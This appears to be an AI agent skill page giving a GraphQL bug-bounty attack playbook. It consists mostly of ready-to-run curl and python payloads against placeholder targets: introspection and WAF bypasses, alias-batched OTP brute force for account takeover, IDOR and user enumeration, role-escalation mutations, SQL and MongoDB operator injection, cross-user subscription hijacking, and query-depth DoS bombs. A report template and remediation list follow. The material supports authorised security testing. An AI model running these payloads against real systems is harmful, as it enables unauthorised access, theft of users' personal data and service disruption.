GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, gqlmap, graphql-cop, and inql. Use when a target exposes a /graphql, /api/graphql, or GQL-over-HTTP endpoint.
68
82%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
GraphQL flips the threat model — clients drive queries. One endpoint, infinite attack surface. Introspection hands you the schema; even without it, field suggestions give you 80% back.
[ ] Run graphql_audit.sh <endpoint> — full automated sweep
[ ] Check if introspection is enabled (__schema query)
[ ] If introspection off — run clairvoyance for field discovery
[ ] Fingerprint engine (graphw00f) — different engines, different CVEs
[ ] Test query batching — send 100 identical queries in one POST
[ ] Test alias bombing — 1000 aliases in one query
[ ] Check field suggestions on typos — leaks schema even when introspection off
[ ] Try IDOR: query another user's object by ID, no auth check
[ ] Test field-level auth: query privileged fields (admin, role, internalNote)
[ ] Inject SQLi/NoSQLi via string arguments — id, filter, search args
[ ] Check subscriptions: can you subscribe to other users' events?
[ ] Try introspection bypass: __schema\nquery, query batching, fragment tricks
[ ] Look for mutation rate limiting — account takeover / self-XSS via mutations# Basic audit
bash tools/graphql_audit.sh https://target.com/graphql
# With auth cookie
bash tools/graphql_audit.sh https://target.com/api/graphql --cookie "session=abc123"
# With Authorization header
bash tools/graphql_audit.sh https://target.com/graphql --header "Authorization: Bearer TOKEN"
# Through Burp proxy
bash tools/graphql_audit.sh https://target.com/graphql --proxy http://127.0.0.1:8080
# Custom output directory
bash tools/graphql_audit.sh https://target.com/graphql --output-dir ./findings/target/graphqlOutput: findings/<target>/graphql/<timestamp>/
introspection.json — full schema dump (if enabled)fingerprint.txt — engine type (graphw00f)field_suggestions.txt — discovered fields via clairvoyancebatching_dos.txt — response time delta for 1 vs 100 queriesalias_bomb.txt — alias depth test resultsgqlmap.txt — injection scan resultscop_report.txt — graphql-cop attack checklist resultssummary.txt — hit/miss per phasecurl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ __schema { queryType { name } } }"}' | jq .# Pull complete introspection schema (pipe to InQL or graphql-voyager)
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{
"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"
}' | jq . > schema.json- Mutations involving user data: updateUser, deleteAccount, changeEmail, changePassword
- Queries returning other users' objects: user(id: X), order(id: X)
- Fields: internalNote, adminOnly, role, isAdmin, rawPassword, apiKey
- Types: AdminUser, InternalConfig, DebugInfo
- Deprecated fields — often bypassed auth or forgotten
- Subscription types — real-time data leaksWhen __schema is blocked, try:
# Newline injection (bypasses naive keyword filters)
{"query": "query {\n __schema\n { queryType { name } } }"}
# Fragment trick
{"query": "fragment f on __Schema { queryType { name } } { ...f }"}
# __type instead of __schema (often overlooked in blocklists)
{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}
# Via GET request (some servers allow GET, filter only POST)
GET /graphql?query={__schema{queryType{name}}}
# Over WebSocket (GraphQL subscriptions)
# Different code path — introspection may be unrestrictedGraphQL engines return helpful "Did you mean X?" errors on typos. This leaks field names.
# Typo on a known field to trigger suggestions
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ usr { id } }"}' | grep -i "suggest\|did you mean\|Cannot query"# Install
pip install clairvoyance
# Run field discovery against a known type
clairvoyance -u https://target.com/graphql -o schema.json
# With auth
clairvoyance -u https://target.com/graphql \
-H "Authorization: Bearer TOKEN" \
-o schema.json
# Seed with known type names (speeds up discovery significantly)
clairvoyance -u https://target.com/graphql \
--input-document schema_partial.json \
-o schema_full.jsonWhat clairvoyance recovers: type names, field names, argument names — ~80% of introspection output even when blocked.
GraphQL allows sending multiple operations in one POST. No rate limit = DoS or brute-force amplifier.
# 100 queries in one request — measure response time delta
python3 -c "
import json, sys
q = {'query': '{ __typename }'}
print(json.dumps([q] * 100))
" | curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d @- -w '\nTime: %{time_total}s\n'# 500 aliases — each alias is a separate resolver call
python3 -c "
aliases = ' '.join(f'q{i}: __typename' for i in range(500))
print('{\"query\": \"{ ' + aliases + ' }\"}')
" | curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d @-# OTP brute force via alias batching — chain with account takeover
python3 -c "
import json
mutations = []
for code in range(1000, 2000):
mutations.append(f'v{code}: verifyOTP(code: \"{code}\", token: \"VICTIM_TOKEN\") {{ success }}')
query = '{ ' + ' '.join(mutations) + ' }'
print(json.dumps({'query': query}))
" | curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d @-GraphQL queries often accept IDs directly. Test whether the server enforces ownership.
# Logged in as user A (id=1) — query user B's data
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-H 'Cookie: session=USER_A_COOKIE' \
-d '{"query":"{ user(id: 2) { email phone address paymentMethods { last4 } } }"}'
# Try orders, messages, invoices, appointments
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-H 'Cookie: session=USER_A_COOKIE' \
-d '{"query":"{ order(id: 999) { total items { name } user { email } } }"}'# Object is yours — but are ALL fields yours to read?
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ me { id email role isAdmin internalNote rawApiKey } }"}'
# Test privileged mutations on other users
curl -s -X POST https://target.com/graphql \
-d '{"query":"mutation { updateUser(id: 2, role: \"admin\") { success } }"}'# Enumerate 50 user IDs in one request
python3 -c "
import json
aliases = [f'u{i}: user(id: {i}) {{ id email role }}' for i in range(1, 51)]
print(json.dumps({'query': '{ ' + ' '.join(aliases) + ' }'}))
" | curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d @-GraphQL arguments pass directly to resolvers. Resolvers often pass them to SQL/NoSQL queries without sanitization.
# Classic SQLi probe via search/filter args
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ users(search: \"admin'\''--\") { id email } }"}'
# Time-based blind SQLi
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ users(id: \"1 AND SLEEP(5)--\") { email } }"}'
# gqlmap for automated injection
gqlmap --target https://target.com/graphql \
--query '{ users(search: GQLMAP) { id email } }' \
--dbms mysql# MongoDB operator injection via JSON coercion
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ login(username: {\"$gt\": \"\"}, password: {\"$gt\": \"\"}) { token } }"}'
# Regex bypass
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ users(filter: {email: {\"$regex\": \".*\"}}) { id email } }"}'# If description/bio fields render in templates
curl -s -X POST https://target.com/graphql \
-d '{"query":"mutation { updateProfile(bio: \"{{7*7}}\") { bio } }"}'# Try sensitive queries without any auth token
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ users { id email role } }"}'
# Try mutations without auth
curl -s -X POST https://target.com/graphql \
-d '{"query":"mutation { createAdmin(email: \"test@example.com\", password: \"pass\") { id } }"}'# Step 1: Find role mutation in schema
# Step 2: Call it as a regular user
curl -s -X POST https://target.com/graphql \
-H 'Cookie: session=NORMAL_USER' \
-d '{"query":"mutation { updateUserRole(userId: ME_ID, role: \"ADMIN\") { success } }"}'# Deprecated fields are often forgotten — auth checks removed or loosened
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ userProfile(id: 2) { legacyToken adminFlags } }"}'WebSocket-based subscriptions can leak cross-user events if not scoped per-user.
# Subscribe to another user's events (Burp WebSocket tab or wscat)
# First: capture legitimate subscription query in Burp
# Then: change userId to victim's ID
wscat -c wss://target.com/graphql \
-s 'graphql-ws' \
--execute '{"type":"start","id":"1","payload":{"query":"subscription { orderUpdated(userId: VICTIM_ID) { status total } }"}}'
# Check if subscription delivers events for ALL users (no scoping)
# Critical if: payment status, message content, location updatesNo query depth/complexity limits = DoS.
# Circular reference bomb (if schema has circular types)
# e.g. User -> friends -> User -> friends -> ...
python3 -c "
depth = 20
inner = 'id email'
for _ in range(depth):
inner = f'friends {{ id {inner} }}'
print('{\"query\": \"{ me { ' + inner + ' } }\"}')
" | curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d @- -w '\nTime: %{time_total}s\n'
# If response time grows linearly — report as DoSDifferent GraphQL engines have different CVEs. Fingerprint first.
# Install
pip install graphw00f
# Fingerprint
python3 -m graphw00f.main -d -t https://target.com/graphql
# Common engines and their known issues:
# Hasura — auth bypass, remote schema injection
# Apollo — query depth issues in old versions
# GraphQL-Go — various older CVEs
# Graphene — Python injection risk in custom resolvers
# Hot Chocolate — .NET, watch for SSRF in federation
# WPGraphQL — WordPress + GraphQL = lots of IDOR# Install
pip install graphql-cop
# Run all checks
graphql-cop -t https://target.com/graphql
# With auth
graphql-cop -t https://target.com/graphql \
-H "Authorization: Bearer TOKEN"
# Checks performed:
# - Introspection enabled
# - Field suggestions enabled
# - GET method supported
# - Query batching enabled
# - Alias overloading
# - Directive overloading
# - Deep recursion allowed
# - Character limit missing
# - Mutation introspection# Content-type switching (some WAFs only filter application/json)
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/graphql' \
-d '{ __schema { queryType { name } } }'
# GET introspection (WAF may only block POST)
curl -s "https://target.com/graphql?query=%7B__schema%7BqueryType%7Bname%7D%7D%7D"
# Comment injection to break keyword matching
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ __sch#comment\nema { queryType { name } } }"}'
# Fragment-based introspection
curl -s -X POST https://target.com/graphql \
-d '{"query":"fragment s on __Schema { queryType { name } } query { ...s }"}'| Chain | Severity |
|---|---|
| Introspection → find admin mutations → call without auth | Critical |
| Batching → OTP brute force → account takeover | Critical |
| Field suggestions → discover hidden field → IDOR | High |
| Alias bomb → bypass rate limit → credential stuffing | High |
| Unauthenticated subscription → real-time PII leak | High |
| Depth bomb → no query limits → DoS | Medium |
| Deprecated field → PII exposure | Medium |
Title: GraphQL [VULN TYPE] — [Impact One-liner]
Example titles:
- "GraphQL Introspection Enabled — Full Schema Disclosure on api.target.com"
- "GraphQL Batching Allows OTP Brute Force — Account Takeover via Alias Bombing"
- "GraphQL IDOR via Direct Object Queries — Access Any User's Private Data"
Endpoint: POST https://target.com/graphql
Request:
[paste raw curl or HTTP request]
Response:
[paste relevant portion of response]
Impact:
[what an attacker can actually do RIGHT NOW — no hypotheticals]
Steps to Reproduce:
1. [exact curl or Burp Repeater step]
2. [observe the response]
3. [confirm impact]
CVSS (approximate):
- Introspection only: CVSS 5.3 (Medium) — info disclosure
- IDOR cross-user: CVSS 7.5-8.5 (High)
- Batching ATO chain: CVSS 9.0+ (Critical)
- Unauthenticated mutation: CVSS 9.8 (Critical)
Remediation:
- Disable introspection in production (allow only in dev environments)
- Enforce per-query depth limit (recommend <= 10)
- Enforce complexity limits
- Disable query batching or add per-batch rate limits
- Validate object ownership in every resolver (not just at route level)
- Remove field suggestions in production- Endpoint returns 404/410 consistently — not active
- All queries return generic "Unauthorized" with no suggestions — well-hardened
- Rate limit fires on query 2 — strong protection, low ROI
- Only __typename accessible, no types — schema fully locked down
- Engine is Apollo Federation gateway only — attack the downstream services instead| Tool | Purpose | Install |
|---|---|---|
graphql_audit.sh | Automated multi-phase sweep | this repo |
graphw00f | Engine fingerprinting | pip install graphw00f |
clairvoyance | Field discovery (no introspection) | pip install clairvoyance |
graphql-cop | Attack checklist runner | pip install graphql-cop |
gqlmap | SQL/NoSQL injection scanner | pip install gqlmap |
inql | Burp Suite extension — schema + IDOR | Burp BApp Store |
graphql-voyager | Visual schema explorer | browser tool |
wscat | WebSocket subscription testing | npm i -g wscat |
2009594
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.